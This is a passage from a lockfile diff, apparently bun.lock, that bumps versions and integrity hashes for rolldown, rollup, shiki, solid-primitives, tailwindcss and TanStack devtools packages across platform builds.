"sha512-c+8vieQbsD7HNAHKIA34w0GJ9FedFFuJGD+7E6vz7Q3uqAIugL5p45fhlsj4UaAsHpcmlqugBWMhA0/j7o0sIg=="], + "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.2.6", "", { "os": "linux", "cpu": "s390x" }, "sha512-2bWNjRSIayvupRKxXUY2tWG9fYdoUlTqWywHRvE8Eq3GvuQ+f2HeIkve697fIt+IQs/PV8yFsdWuhp1aJ1PdnA=="], - "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.1.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-50jD0uUwLvur7Zz9LHz17kaAdTPjn5wN93hEgjvmYFRZwiR7ZJYovTd5ipyWJDAnXKvZ+wgc+/Ika6dwSF5OcA=="], + "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.2.6", "", { "os": "linux", "cpu": "x64" }, "sha512-KekI0gS0wLxe1UBSQSjenBVwou/JkcQPDzBPICGZjxUv9k3RteHDPBQaiOicZUFKRIH2wKEimGwVpnJsbPzu7w=="], - "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.1.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-BO9+oPL8K9poZJBfYPsXNtYjPE5uM3qeehT3aFcW4LITOl+iSqhp0abzjR2nWBUNjIZeKXjAEWBZ64WjNoHd6w=="], + "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.2.6", "", { "os": "linux", "cpu": "x64" }, "sha512-TvtPnfVr+HtyGiDmPK4VWmlNm7QhNNAcK5Q9A7aOXsI8545yCyaoMaicXrFZ72JzeYjaUVk7yT243zT0jzjFKQ=="], - "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.1.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-f3VpLB1vQ0Eo6ecr/6cekLnvYMFF4YBFoVGkfkvPLq1bAkbAwHYQPZKoAmG6OJyTcxxoC+AvezGx/S1obNC0Mw=="], + "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.2.6", "", { "os": "none", "cpu": "arm64" }, "sha512-iOo0VEay2XFhaCcH0sps5XIimkSuOnNaZrf6+ZkoSOQBJPKNU48RkmJv0/lSpipexu5P+ouFgafe5IGr/DiQfg=="], - "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.1.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-AmurZ26Pqx/RI9N1gzEOCklkKXl927yjfXWUUS0O7Puh8ARM/Ob8qfrD3qnWksScdw6cSrW5PSHE9DyLu7+PtA=="], + "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.2.6", "", { "os": "win32", "cpu": "arm64" }, "sha512-y5NTmmasMS455JlOCO4ZM9krIchv3Mvm1crL1iUPGOPgEzSkves9n0SdC5Sjz6+qWDFhd8/JpfWMH8NSWNHe+A=="], - "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.1.3", "", { "os": "linux", "cpu": "x64" }, "sha512-JJpqs8bRGITDOdbkNKnlojzBabbOHrqjSvDr0IVsZObE1lBcPjxItUEY9eWIDbxaJ3cGrXPWGfGkIxFijg/URg=="], + "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.2.6", "", { "os": "win32", "cpu": "x64" }, "sha512-np8iZSLfXlAD4kWhiyq/u0Yt8oZDtRQ8lGhQaCXo2rl37KNjeU0GjJuwr4P3oeZ++ROfofsKNBqR5LTO8aXyWQ=="], - "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.1.3", "", { "os": "linux", "cpu": "x64" }, "sha512-rSJcdjPxzA/by/6/rYs+v+bXU7UjvnbUWz8MJb6kh6+knqB1dCrtHg0uu7C/4haqJvqdkYHQ5IGn+tCH9GLW/g=="], + "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="], - "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.1.3", "", { "os": "none", "cpu": "arm64" }, "sha512-hQ3/PYkDJICgevvyNcVrihVeqq7k1Pp3VZ9lY+dauAYUJKO+auqApvANhvR1An9BhmqYKvW2Mu1F9u4DXSMLxQ=="], + "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.63.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-FQNqd1lRy/0QhDk3xeRIkSBiCpXCiDnZO3YLVdcDKN1UBiKToNftCzcXYNLshmPDUMlu2TdeS8tGcsU6f3YF1Q=="], - "@rolldown/binding-wasm32-wasi": ["@rolldown/binding-wasm32-wasi@1.1.3", "", { "dependencies": { "@emnapi/core": "1.11.1", "@emnapi/runtime": "1.11.1", "@napi-rs/wasm-runtime": "^1.1.6" }, "cpu": "none" }, "sha512-Elcv/BtML9lXrV6JuKITc/grN2kYV9gjsQpW8Jfw4ioK0TOkjBjye0nnyqQNy9STNaI20lXNaQBRrD5gSgR0Yg=="], + "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.63.1", "", { "os": "linux", "cpu": "x64" }, "sha512-gfI5T24WLLuFfSKw7Go/zDXjAAV0fny0swTaDv+WjK7vqcw4cRhFfdsyKL1n+ukI+ooBxn3bVQnyrn06WpI50w=="], - "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.1.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-2DrEfhluH9yhiaFApmsjsjwrSYbNcY1oFTzYSP1a535jDbV98zCFanA/96TBUd0iDFcxGmw9QRExwGCXz3U+/g=="], + "@run-slicer/cfr": ["@run-slicer/cfr@file:vendor/cfr", {}], - "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.1.3", "", { "os": "win32", "cpu": "x64" }, "sha512-OL4OMk7UPXOeVGGd3qo5zJyPIljf4AFgk5QAkPPS+OoLuOOozhuaQGC18MxVTnw/06q93gShAJzlwnSCY9YtqA=="], + "@shikijs/core": ["@shikijs/core@4.4.3", "", { "dependencies": { "@shikijs/primitive": "4.4.3", "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5", "hast-util-to-html": "^9.0.5" } }, "sha512-QCR4q2ZO/ILJEuwiBMel4wdcTDb1JGwfjKTxPDF6x8ixOaluPrVqIn06C99AcRPhmYlBR56d/Fb+GN58GzExpg=="], - "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="], + "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.6" } }, "sha512-FbOjFJp9VLdo1Wevs10BBtVxiTWwNLqZh5Gkhjgda/ioL15YOgeSl9n+6XMa3qRlPQzfhFNe641SrynFHYG0nQ=="], - "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.62.2", "", { "os": "android", "cpu": "arm" }, "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg=="], + "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-EcOQkxdxGQrc1Row/cC2c96/v1dbZqGnEVu1qTuT/MJmp6+cXCvQussowVmCv5Tqr3KuY3c7IbM6HTW3LJ1k9w=="], - "@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.62.2", "", { "os": "android", "cpu": "arm64" }, "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw=="], + "@shikijs/langs": ["@shikijs/langs@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3" } }, "sha512-ePic0yfAJGOF83D5wBHK/00EjK65oahBYxFk5epgq33WRv7X9UuxLEV8PtR0szC0z8dl7INIpIodB99JRFlR+A=="], - "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.53.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA=="], + "@shikijs/primitive": ["@shikijs/primitive@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-m0wBeLDQDeIxRdUmrCPdQqfuUamDwRL5isCfYbguKD6NiaKpVbsv+3J81DyIKgNW5h4WAIIr8T4EkgQrBBxvaQ=="], - "@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.62.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA=="], + "@shikijs/themes": ["@shikijs/themes@4.4.3", "", { "dependencies": { "@shikijs/types": "4.4.3" } }, "sha512-w8UHjeUnIR965KMWJHUPXOc2mNJUnK3vpVLYLvw5IYU2mnTTJ89E24OrJDBNiJDQ0qzb0tc4l7mrIXx5cFeIyw=="], - "@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.62.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw=="], + "@shikijs/types": ["@shikijs/types@4.4.3", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-UEJxmRR++MAGR6hugn0vgVS2W/6lWAts84FFSrnlH9sP0LNol7E5+NQ792pH8liWUhyMyjhTgSUH3k7iD7tc5g=="], - "@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.62.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg=="], + "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], - "@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.62.2", "", { "os": "linux", "cpu": "arm" }, "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg=="], + "@solid-primitives/event-listener": ["@solid-primitives/event-listener@2.4.6", "", { "dependencies": { "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-5I0YJcTVYIWoMmgBSROBZGcz+ymhew/pGTg2dHW74BUjFKsV8Li4bOZYl0YAGP4mHw5o4UBd9/BEesqBci3wxw=="], - "@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.62.2", "", { "os": "linux", "cpu": "arm" }, "sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA=="], + "@solid-primitives/keyboard": ["@solid-primitives/keyboard@1.3.7", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.6", "@solid-primitives/rootless": "^1.5.4", "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-558RPNYnXx4nGh537DSqAn4xMrC8iFipl/5+xzgzWoTNFst4RnUN3BOLmtDjJ0UGGoQXVMALYR3bNOHM0xnt1Q=="], - "@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.62.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA=="], + "@solid-primitives/resize-observer": ["@solid-primitives/resize-observer@2.2.0", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.6", "@solid-primitives/rootless": "^1.5.4", "@solid-primitives/static-store": "^0.1.4", "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9Fuu/EWBeGj+atGHRJp70HKhdfalmpjwxY8a32NZixdLNmfCJ45AfhLQNr6uOzETbbiMx4iCKlTrJ8KZCHC2Ww=="], - "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.62.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ=="], + "@solid-primitives/rootless": ["@solid-primitives/rootless@1.5.4", "", { "dependencies": { "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-TOIZa1VUfVJ+9nkCcRajw3U4t9vBOP1HxX1WHNTbXq32mXwlqTvUnC4CRIilohcryBkT9u2ZkhUDSHRTaGp55g=="], - "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg=="], + "@solid-primitives/static-store": ["@solid-primitives/static-store@0.1.4", "", { "dependencies": { "@solid-primitives/utils": "^6.4.1" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-LgtVaVBtB7EbmS4+M0b8xY5Iq6pUWXBsIC4VgtrFKDGDdyCaDt88sHk0fUlx1Enxm/XZnZyLXJABRoa39RjJqA=="], - "@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ=="], + "@solid-primitives/utils": ["@solid-primitives/utils@6.4.1", "", { "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-ISSB5QX1qP2ynrheIpYwc4oKR5Ny4siNuUyf1qZniy+Il+p/PtDB0QK1Dnle8noiHpwRD3gpPdubOC3qI/Zamg=="], - "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.62.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A=="], + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], - "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.62.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w=="], + "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], - "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg=="], + "@tailwindcss/node": ["@tailwindcss/node@4.3.3", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.24.1", "jiti": "^2.7.0", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.3" } }, "sha512-/T8IKEsf9VTU6tLjgC7+sv2mOPtQxzE2jMw7u4Tt40Tx+QSZxpzh95/H6cMKoja9XuW7iMdLJYBB0o9G1CaAgg=="], - "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.62.2", "", { "os": "linux", "cpu": "none" }, "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q=="], + "@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.3", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.3", "@tailwindcss/oxide-darwin-arm64": "4.3.3", "@tailwindcss/oxide-darwin-x64": "4.3.3", "@tailwindcss/oxide-freebsd-x64": "4.3.3", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.3", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.3", "@tailwindcss/oxide-linux-arm64-musl": "4.3.3", "@tailwindcss/oxide-linux-x64-gnu": "4.3.3", "@tailwindcss/oxide-linux-x64-musl": "4.3.3", "@tailwindcss/oxide-wasm32-wasi": "4.3.3", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.3", "@tailwindcss/oxide-win32-x64-msvc": "4.3.3" } }, "sha512-krXjAikiaFSPaK/FkAQT5UTx3VormQaiZ5hBFlJZ9UFQGB/rwg1MZIhHAG9smMQRTdyJxP6Qt5MwMtdyU5FWrA=="], - "@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.62.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg=="], + "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.3", "", { "os": "android", "cpu": "arm64" }, "sha512-Y85A2gmPSkl5Ve5qR86GL4HT509cFqQh1aes9p3sSkyTPwt0Pppf3GkwGe4JPACcRYjgJIEhQgM6dBClnr0NYw=="], - "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.53.3", "", { "os": "linux", "cpu": "x64" }, "sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w=="], + "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-BiaWatpBcERQFDlOjRDpIVXuFK5PJez5SA4JMg6VYZdBYU+qKfV/vqjcIs+IYmtitf1xYQZTwXvU/8y4lfZUGw=="], - "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.62.2", "", { "os": "linux", "cpu": "x64" }, "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg=="], + "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-fAeUqfV5ndhxRwai8cXGzdLvul9utWOmeTkv69unv4ZXixjn61Z+p9lCWdwOwA3TYboG3BwdVuN/RDjhBRl0mw=="], - "@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.62.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg=="], + "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-iyf5bV6+wnAlflVeEy7R25dupxTNECZN5QMI0qNT6eT+EgaGdZcKhGkr5SdoaWiLJ3spLqIY9VCeSGrwmtg4kw=="], - "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.62.2", "", { "os": "none", "cpu": "arm64" }, "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA=="], + "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.3", "", { "os": "linux", "cpu": "arm" }, "sha512-aAYUprJAJQWWbRrPvtjdroZ56Md+JM8pMiopS6xGEwDfLhqj+2ver2p4nU4Mb3CRqcMmNBjo8KkUgcxhkzVQGQ=="], - "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.62.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg=="], + "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-nDxldcEENOxZRzC2uu9jrutZdAAQtb+8WWDCSnWL1zvBk1+FN+x6MtDViPB5AJMfttVCUhehGWus3XBPgatM/w=="], - "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.62.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q=="], + "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-Md44bD6veX/PC5iyF8cDVnw4HBIANZepRZZ7a8DQOvkfo5WUBwcp6iAuCUz23u+4SUkhJlD3eL7hNdW8ezd/kA=="], - "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.62.2", "", { "os": "win32", "cpu": "x64" }, "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg=="], + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-tx7us1muwOKAKWao2v/GaafFeQboE6aj88vC6ziN2NCGcRm8gWUhwjzg+YdVB1e4boAtdtma4L43onunI6NS4w=="], - "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.62.2", "", { "os": "win32", "cpu": "x64" }, "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA=="], + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-SJxX60smvHgasZoBy11dX6YRjXJFovwWBoedhbQPOBzgFWBHGB+TVPWB9BxzR7TTxU8FQZAI2AyiNCMzFm8Img=="], - "@run-slicer/cfr": ["@run-slicer/cfr@file:./vendor/cfr", {}], + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.3", "", { "dependencies": { "@emnapi/core": "^1.11.1", "@emnapi/runtime": "^1.11.1", "@emnapi/wasi-threads": "^1.2.2", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.2", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-jx1+rPhY/5Ympkktd656HBWEBLxP7dH06losBLjjf5vgCODXvi9KhtftWcMIwTFIDqBr7cRnQkdLnAG+IOlGvQ=="], - "@shikijs/core": ["@shikijs/core@4.3.0", "", { "dependencies": { "@shikijs/primitive": "4.3.0", "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-EooU3i9F6IAE8kEu+AnGf9DFZWkQBZ+hJn3tLVbsH+61mtQiva5biai66fAA6nvFPXkLgvrh7BrR7YcJU83xQQ=="], + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-3rc292Ca2ceK6Ulcc/bAVnTs/3nDtoPhyEKlgPv+yQJQi/JS/AMJlqzxvlDacL1nekbrcf6bTqp/jV4qgnPxNQ=="], - "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.6" } }, "sha512-hTv/KiFf2tpiqlACPiztGGurEARWIutB8YUhcrA1pUC7VzzwKO+g5crUocrLztrZ5ro5Z4hbXg7bYclETn3gSQ=="], + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.3", "", { "os": "win32", "cpu": "x64" }, "sha512-yJ0pwIVc/nYeGoV02WtsN8KYyLQv7kyI2wDnkezyJlGGjkd4QLwDGAwl47YpPJeuI0M0ObaXGSPjvWDPeTPggw=="], - "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-1vMdN3gHfnKfLYwecUI2ITJI4RhHt96xEaJumVn7Heb0IlJ8WQMIH0Voak+2j22BpSNKdnOfB/pCTPnPm2gq7A=="], + "@tailwindcss/vite": ["@tailwindcss/vite@4.3.3", "", { "dependencies": { "@tailwindcss/node": "4.3.3", "@tailwindcss/oxide": "4.3.3", "tailwindcss": "4.3.3" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-yYU8cogLeSh/ms2jh8Fj7jaba/EWa7Ja6GoUqYZaraEuCI5YS6ms6ObZgjjedm+jm6XZjdNRWBpPP6Z86oOxcw=="], - "@shikijs/langs": ["@shikijs/langs@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0" } }, "sha512-rnlqFbBRSys9bT4gl/5rw9RnS0W/I84ZldXPkO7cvlEMoV85TyF/aU01N7/NbSR776RNLjrJKjfFUXJR6wN1Cg=="], + "@tanstack/devtools": ["@tanstack/devtools@0.10.14", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.6", "@tanstack/devtools-event-bus": "0.4.1", "@tanstack/devtools-ui": "0.5.0", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" }, "bin": { "intent": "bin/intent.js" } }, "sha512-bg1e0PyjmMMsc9VSOGb9etu15CpFdAwlQ5DD2xS6N93iTPgCPWXiZQFZygrEDoKnnx1x7BM6QTaiukizaejgSA=="], - "@shikijs/primitive": ["@shikijs/primitive@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-CPkz64PTa5diRW1ggzMZH9VM/du4RNChYgVtgqrFcgruvIybmCvySv8GkiHSczUHXYuuR8TdKEwFx+UnZMpgdg=="], + "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.5", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.0" } }, "sha512-hsNDE3iu4frt9cC2ppn1mNRnLKo2uc1/1hXAyY9z4UYb+o40M2clFAhiFoo4HngjfGJDV3x18KVVIq7W4Un+zA=="], - "@shikijs/themes": ["@shikijs/themes@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0" } }, "sha512-Avgt05YiT+Y3prjIc9lmQxhJzHBcCfR6cjiFW4OyaMBbt2A6trX5rfjUzx+Vj/mE9qpArYjatnqo9XPjQNW/AQ=="], + "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.0", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-1t+/csFuDzi+miDxAOh6Xv7VDE80gJEItkTcAZLjV5MRulbO/W8ocjHLI2Do/p2r2/FBU0eKCRTpdqvXaYoHpQ=="], - "@shikijs/types": ["@shikijs/types@4.3.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, 